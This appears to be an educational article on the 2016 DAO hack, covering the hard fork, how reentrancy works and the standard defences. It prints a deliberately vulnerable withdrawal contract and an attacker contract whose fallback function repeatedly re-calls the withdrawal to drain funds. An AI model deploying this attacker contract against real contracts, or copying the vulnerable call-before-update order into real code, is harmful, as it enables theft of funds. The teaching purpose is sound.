- Authors
The DAO Hack Incident
What was The DAO?
The DAO (Decentralized Autonomous Organization) was an Ethereum-based decentralized venture capital fund launched in April 2016. It was a system where investors could deposit ETH and receive DAO tokens to vote on investment projects.
Launch Results
- Crowdsale period: April 30 - May 28, 2016
- Amount raised: Approximately 11.5 million ETH (about $150 million at the time)
- Participants: About 11,000 people
- A massive fund holding approximately 14% of all ETH in existence
The Hack Occurs
On June 17, 2016, less than three months after launch, a hacker attacked The DAO using a Reentrancy Attack. The hacker exploited a vulnerability in the withdrawal function to repeatedly call the same function during ETH transfers, draining funds.
Damage Scale
- ETH stolen: Approximately 3.6 million ETH (about 1/3 of the total fund)
- Value at the time: About $60 million
- Value in today's terms: Billions of dollars
Community Response and Hard Fork
The Ethereum community made a dramatic decision in response to this incident.
Hard Fork Executed on July 20, 2016
- Purpose: Return the hacked funds to original investors
- Method: Roll back the blockchain to the state before The DAO contract was executed
- Result: Split into Ethereum (ETH) and Ethereum Classic (ETC)
Two Blockchains
- Ethereum (ETH): The chain that accepted the hard fork (hack nullified)
- Ethereum Classic (ETC): Maintained the original chain (adhering to "Code is Law" principle)
This incident sparked important debates about blockchain immutability and community governance.
What is a Reentrancy Attack?
A Reentrancy Attack exploits a vulnerability where a smart contract function updates its state after making an external call.
- Attacker deposits a small amount (e.g., 1 ETH) into the contract
- Attacker requests to withdraw their deposit
- When the contract sends ETH to the attacker, the attacker's fallback function executes during the transfer
- Before the balance is updated, the attacker's fallback calls the withdrawal function again
- The balance check passes, and another ETH is sent
- Steps 3-5 repeat until all funds in the contract are drained
The DAO's Vulnerable Code
The splitDAO Function
The splitDAO function that the hacker attacked was a feature that allowed users to withdraw their deposited ETH.
// Vulnerable code from The DAO contract (simplified)
contract TheDAO {
// Record the ETH balance deposited by each user
mapping(address => uint256) public balances;
// Function for users to withdraw their deposits
function splitDAO() public {
// Check the balance of the person calling the function (msg.sender)
uint256 amount = balances[msg.sender];
// 1. Balance check: verify there's an amount to withdraw
require(amount > 0, "No balance");
// 2. ETH transfer
// Send ETH to msg.sender (the caller)
// At this point, if msg.sender is a contract, that contract's fallback/receive function executes
(bool success,) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// 3. Balance update
// Before this line executes, the attacker's fallback can call splitDAO() again
balances[msg.sender] = 0;
}
// Function for users to deposit ETH
function deposit() public payable {
balances[msg.sender] += msg.value;
}
}
The Problem
The key issue is external call before state update. When transferring ETH (msg.sender.call), the attacker's code can execute, and since the balance hasn't been updated to 0 yet, the same function can be called repeatedly.
The Hacker's Attack Code
// The attacker's malicious contract
contract Attacker {
TheDAO public dao; // Address of The DAO contract to attack
uint256 public initialDeposit; // Initial deposit (1 ETH)
constructor(address _daoAddress) {
dao = TheDAO(_daoAddress);
initialDeposit = 1 ether;
}
// 1. Function to start the attack
function attack() external payable {
require(msg.value >= initialDeposit, "Need at least 1 ETH");
// Deposit 1 ETH to The DAO
// Now balances[this contract address] = 1 ETH
dao.deposit{value: initialDeposit}();
// Start withdrawal (reentrancy attack begins here)
// Calling splitDAO() causes The DAO to send ETH to this contract
dao.splitDAO();
}
// 2. Fallback function that automatically executes whenever ETH is received
// The payable keyword is required to receive ETH
// When The DAO's msg.sender.call{value: amount}("") executes,
// ETH is sent to this contract and this fallback function is called automatically
fallback() external payable {
// Check if The DAO still has ETH remaining
if (address(dao).balance >= initialDeposit) {
// 🔄 Request withdrawal again! (Balance hasn't been set to 0 yet, so we can receive another 1 ETH)
dao.splitDAO();
// This process repeats until The DAO's balance is depleted
}
}
// 3. Recover stolen ETH to attacker's account
function withdraw() external {
payable(msg.sender).transfer(address(this).balance);
}
}
How Reentrancy Attack Works
Let's examine how the attack progresses step by step.
Step 1: Initial State
The DAO balance: 5 ETH
Attacker balance: 1 ETH
The DAO internal record:
balances[attacker] = 0 ETH
Step 2: Attacker Deposits 1 ETH
// Attacker executes
dao.deposit{value: 1 ether}();
The DAO balance: 6 ETH
Attacker balance: 0 ETH
The DAO internal record:
balances[attacker] = 1 ETH
Step 3: First Withdrawal Attempt
// Attacker executes
dao.splitDAO();
What Happens Inside The DAO Contract
// 1. Balance check
uint256 amount = balances[attacker]; // amount = 1 ETH
require(amount > 0); // ✅ Passes
// 2. ETH transfer (attacker's fallback function executes here!)
(bool success,) = attacker.call{value: 1 ether}("");
// ⚠️ balances[attacker] = 0 has NOT been updated yet!
Step 4: Attacker's Fallback Function Executes (Reentrancy)
// Attacker's fallback function executes
fallback() external payable {
// The DAO still has 5 ETH remaining
if (address(dao).balance >= 1 ether) {
dao.splitDAO(); // Call again! (reentrancy)
}
}
The DAO's splitDAO() Executes Again
// 1. Balance check
uint256 amount = balances[attacker]; // Still 1 ETH! (not updated)
require(amount > 0); // ✅ Passes
// 2. ETH transfer (sends another 1 ETH!)
(bool success,) = attacker.call{value: 1 ether}("");
Step 5: Repetition (Reentrancy Continues)
This process repeats until The DAO's balance is depleted.
Call Stack:
splitDAO() #1
→ attacker fallback()
→ splitDAO() #2
→ attacker fallback()
→ splitDAO() #3
→ attacker fallback()
→ splitDAO() #4
→ attacker fallback()
→ splitDAO() #5
→ attacker fallback()
→ splitDAO() #6 (insufficient balance, exits)
Final Result
The DAO balance: 0 ETH (completely drained!)
Attacker balance: 6 ETH
The DAO internal record:
balances[attacker] = 1 ETH (never updated!)
Correct Code (Checks-Effects-Interactions Pattern)
function withdraw() public {
uint256 amount = balances[msg.sender];
// ✅ Correct order
require(amount > 0); // 1. Checks (validation)
balances[msg.sender] = 0; // 2. Effects (state change)
(bool success,) = msg.sender.call{value: amount}(""); // 3. Interactions (external call)
require(success);
}
By updating the state before making the external call, even if reentrancy is attempted, the balance is already 0 so require(amount > 0) will fail.
Reentrancy Defense Methods
1. Checks-Effects-Interactions Pattern
This is the most fundamental and important defense method.
function withdraw() public {
// 1. Checks: Validate conditions
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
// 2. Effects: Change state (first!)
balances[msg.sender] = 0;
// 3. Interactions: External call (last!)
(bool success,) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
2. Using ReentrancyGuard (OpenZeppelin)
OpenZeppelin's ReentrancyGuard provides a simple way to prevent reentrancy.
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SafeBank is ReentrancyGuard {
mapping(address => uint256) public balances;
function withdraw() public nonReentrant {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
// Thanks to nonReentrant, reentrancy attempts automatically revert
(bool success,) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] = 0;
}
}
How ReentrancyGuard Works
// OpenZeppelin's ReentrancyGuard internals (simplified version)
abstract contract ReentrancyGuard {
uint256 private _status;
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// Detect reentrancy attempt
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Mark function as executing
_status = _ENTERED;
_; // Execute actual function
// Function execution complete
_status = _NOT_ENTERED;
}
}